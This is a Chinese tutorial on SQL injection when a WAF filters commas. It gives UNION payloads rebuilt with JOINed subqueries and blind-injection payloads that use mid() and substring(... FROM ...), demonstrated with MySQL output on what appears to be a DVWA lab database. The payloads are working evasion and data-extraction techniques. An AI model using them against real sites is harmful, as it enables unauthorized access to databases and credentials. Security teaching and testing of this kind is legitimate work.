SQL注入技巧之显注与盲注中过滤逗号绕过详析

前言

sql注入在很早很早以前是很常见的一个漏洞。后来随着安全水平的提高，sql注入已经很少能够看到了。但是就在今天，还有很多网站带着sql注入漏洞在运行。下面这篇文章主要介绍了关于SQL注入逗号绕过的相关内容，分享出来供大家参考学习，下面话不多说了，来一起看看详细的介绍吧

1.联合查询显注绕过逗号

在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位，语句中包含了多个逗号，如果有WAF拦截了逗号时，我们的联合查询不能用了。

绕过

在显示位上替换为常见的注入变量或其它语句

union select 1,2,3;

union select * from ((select 1)A join (select 2)B join (select 3)C）;

union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

在数据库中演示联合查询

UNION开始是我们在URL中注入的语句，这里只是演示，在实际中如果我们在注入语句中有逗号就可能被拦截

mysql> select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)

不出现逗号，使用Join来注入

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

查询我们想要的数据

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password   |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | [email protected] dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)

2.盲注中逗号绕过

MID 和substr 函数用于从文本字段中提取字符

mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)

查询数据库用户名第一个字符的ascii码

mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3  |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)

盲注，通过猜ascii值

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)

逗号绕过SUBTTRING 函数

substring(str FROM pos)

从字符串str的起始位置pos 返回一个子串

mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello  |
+---------------------------+
1 row in set (0.04 sec)

mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello  |
+---------------------------+
1 row in set (0.03 sec)

注入

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)为o
//o的ascii为111，
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password  |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)

总结

以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，如果有疑问大家可以留言交流，谢谢大家对安科网的支持。